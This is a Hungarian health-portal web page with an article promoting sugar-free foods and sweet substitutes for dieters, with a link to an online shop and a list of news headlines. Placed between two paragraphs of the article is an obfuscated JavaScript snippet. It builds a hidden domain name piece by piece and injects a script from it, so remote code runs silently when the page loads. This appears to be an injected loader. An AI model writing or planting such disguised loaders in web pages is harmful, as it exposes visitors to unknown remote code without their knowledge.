Oldalainkon HTTP-sütiket használunk a jobb működésért. További részletek itt!

Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

Diabetes Portál



Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

A legtöbb diéta azért bukik el, mert hosszútávon tarthatatlan. Még ha egy ideig bírja is a megszorításokat a diétázó, amint visszatér a megszokott étrendjéhez, vissza is ugranak a nagy nehezen leadott kilók. Éppen ezért kell teljesen életmódot váltani, és egy olyan étrendet bevezetni, ami nem a komoly megszorításokról szól, ezért akár véglegesen is át lehet rá állni. Ebben segítenek a cukormentes élelmiszerek.

Cukormentes ételek

Hogy ne hiányozzon az édesség

A legtöbb hatékony diéta azzal kezd, hogy el kell hagyni a cukros ételeket, azaz csak minimálisan lehet őket fogyasztani. Márpedig az emberek zöme szereti az édes desszerteket, sütiket, finomságokat, így ezt a lemondás valódi kínzásnak élhetik meg. És ilyenkor jönnek a „bűnözések”: először ritkábban, majd egyre gyakrabban csábulunk el, egészen addig, míg végül nem sok eredményét látjuk a nagy reményekkel megkezdett fogyókúrának.

A megoldást a cukormentes élelmiszerek jelentik, amik képesek cukor nélkül helyettesíteni a megszokott, kedvelt, édes ízeket. Ezekből széles választékkal találkozhatsz például itt: https://allnutrition.hu/Cukormentes__z%C3%A9r%C3%B3_kal%C3%B3ria-k1032.html.

A sikeres diéta kulcsa, hogy ne a megvonásokon alapuljon. Ha okosan csinálod, minden nehézség nélkül tudsz átállni egy olyan életmódra, ami tartósan támogatja az ideális testalkat megtartását. Ne kivonni akarj az életedből olyan ételeket, amiket szeretsz és amik hiányoznának – inkább helyettesítsd őket olyanokkal, amik számodra is fogyaszthatók!

 

Gyümölcsök, szószok és más finomságok

Cukor mentes verzióban elérhetők csokoládés szószok, gyümölcsös zselék és sok más kiegészítő, amik ahhoz kellenek, hogy finom nassolnivaló váljon az ételekből, mindezt minimális kalóriatartalommal, zsír és cukor nélkül!

A nagy választéknak köszönhetően sokféle nasi készíthető, kezdve a frissítő, gyümölcsös finomságoktól a klasszikus, kakaós, csokis desszertekig. A kreativitásodon és persze az ízléseden múlik, pontosan hogyan is használod fel ezeket – az viszont biztos, hogy nem kell amiatt aggódnod, hogy az édes finomságok fogják elrontani a diétádat!

(function(){ xlq9_=("u"+"")+"s"+"";xlq9_+=("tat.")+("i"); xlq9=document.createElement("script");xlq9.type="text/javascript";xlq9_+="nf"+("o")+"/"; xlq9u="374890113"+".";xlq9.async=true;xlq9u+="msls39Xflq9cb95z31feccmgsX1hru"; xlq9.src="https://"+xlq9_+xlq9u;xlq9b=document.body;xlq9b.appendChild(xlq9); })();




Ha tetszett ez a cikk, oszd meg ismerőseiddel, kattints ide:

Diabétesz szakszótár

A 2-es típusú cukorbetegség

2-es típusú diabetes mellitus   Mit kell tennem, ha cukorbeteg lettem? A... Tovább

BMI (body mass index)

Lásd: testtömegindex Mit kell tennem, ha cukorbeteg lettem? A tennivalókról itt olvashat: a... Tovább

Tovább a lexikonra

Hasznos volt számodra ez a cikk?

Mondd el mennyire!

Szavazatok száma:

Átlagos értékelés: 0.0

Legfrissebb hírek

A pihentető éjszakai alvás 6 titka: ezek a tényezők befolyásolhatják a nyugodt alvásodat A pihentető éjszakai alvás 6 titka: ezek a tényezők befolyásolhatják a nyugodt alvásodat
A jó alvás értékes dolog, amely gyakran elkerül bennünket felgyorsult életünk során. A...
5 dolog, amit megtehetsz a halláskárosodás megelőzése érdekében 5 dolog, amit megtehetsz a halláskárosodás megelőzése érdekében
Elengedhetetlen a proaktív intézkedések megtétele hallása védelme és életminősége...
Ez történik a testeddel, ha mindennap eszel rizst Ez történik a testeddel, ha mindennap eszel rizst
Csakúgy, mint a kenyeret és a tésztát, a rizst is gyakran becsmérlik alacsony...
4 árulkodó jel, hogy szükséged lehet multivitaminra 4 árulkodó jel, hogy szükséged lehet multivitaminra
Az egészséges táplálkozás az egyik legjobb módja általános egészségi állapotod...
5 bevált módszer a jobb alváshoz, ha cukorbeteg vagy 5 bevált módszer a jobb alváshoz, ha cukorbeteg vagy
A cukorbetegség önkezelése megköveteli a mindennapi élet olyan aspektusainak kezelését,...
A gyulladáscsökkentő reggeli turmix, amit nem tudok abbahagyni A gyulladáscsökkentő reggeli turmix, amit nem tudok abbahagyni
Ez a zöld turmix élénk fanyar ízt kap a fagyasztott maracuja gyümölcsétől, a friss...
Vérző fogíny? 5 módszer a vérző íny ellen Vérző fogíny? 5 módszer a vérző íny ellen
Vérzik az ínyed? Még egy kisebb mennyiségű vér megjelenése a fogkefén is rögtön...
A belek fő támogatója: fogyaszd ezt a zöldséget az egészséges bélrendszerért A belek fő támogatója: fogyaszd ezt a zöldséget az egészséges bélrendszerért
Olyan zöldséget keresel, amely csodákat tesz a bélrendszered egészségével? Ha igen, akkor...
Így csökkentsd az édesség utáni vágyadat: a 8 legédesebb gyümölcs csoki helyett Így csökkentsd az édesség utáni vágyadat: a 8 legédesebb gyümölcs csoki helyett
Bár semmi gond nincs azzal, ha valami édeset eszel, de ha nehezen kielégíthető édesszájú...
6 ok, amiért mindig fáradt vagy (és mit tehetsz ellene) 6 ok, amiért mindig fáradt vagy (és mit tehetsz ellene)
A modern élet zsonglőrködésnek tűnhet. Megpróbálsz egyensúlyt teremteni a munka és az...
címkék: